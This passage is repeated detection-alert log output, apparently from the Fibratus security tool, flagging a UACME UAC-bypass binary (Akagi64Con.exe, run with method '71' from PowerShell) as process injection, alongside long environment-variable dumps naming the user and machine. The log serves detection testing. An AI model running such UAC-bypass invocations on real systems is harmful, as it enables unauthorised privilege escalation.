Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\vmconnect\109ce38782caeb1d0c35e34b5d60e591\vmconnect.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675161 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.22457 +0100 CET + Params: base_address➜ 7ffb3fee0000, checksum➜ 0, default_address➜ 7ffb3fee0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\vmconnect\109ce38782caeb1d0c35e34b5d60e591\vmconnect.ni.exe, image_size➜ 2355200, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\vmconnect\109ce38782caeb1d0c35e34b5d60e591\vmconnect.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675161 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.22457 +0100 CET + Params: base_address➜ 7ffb3fee0000, checksum➜ 0, default_address➜ 7ffb3fee0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\vmconnect\109ce38782caeb1d0c35e34b5d60e591\vmconnect.ni.exe, image_size➜ 2355200, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, rule.name: .NET assembly loaded by unmanaged process, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\wsdl\5f5cbf031ee1c800fc7d6705e5311ca1\wsdl.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675200 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.2287119 +0100 CET + Params: base_address➜ 7ffb824f0000, checksum➜ 0, default_address➜ 7ffb824f0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\wsdl\5f5cbf031ee1c800fc7d6705e5311ca1\wsdl.ni.exe, image_size➜ 188416, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: .NET assembly loaded by unmanaged process + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files 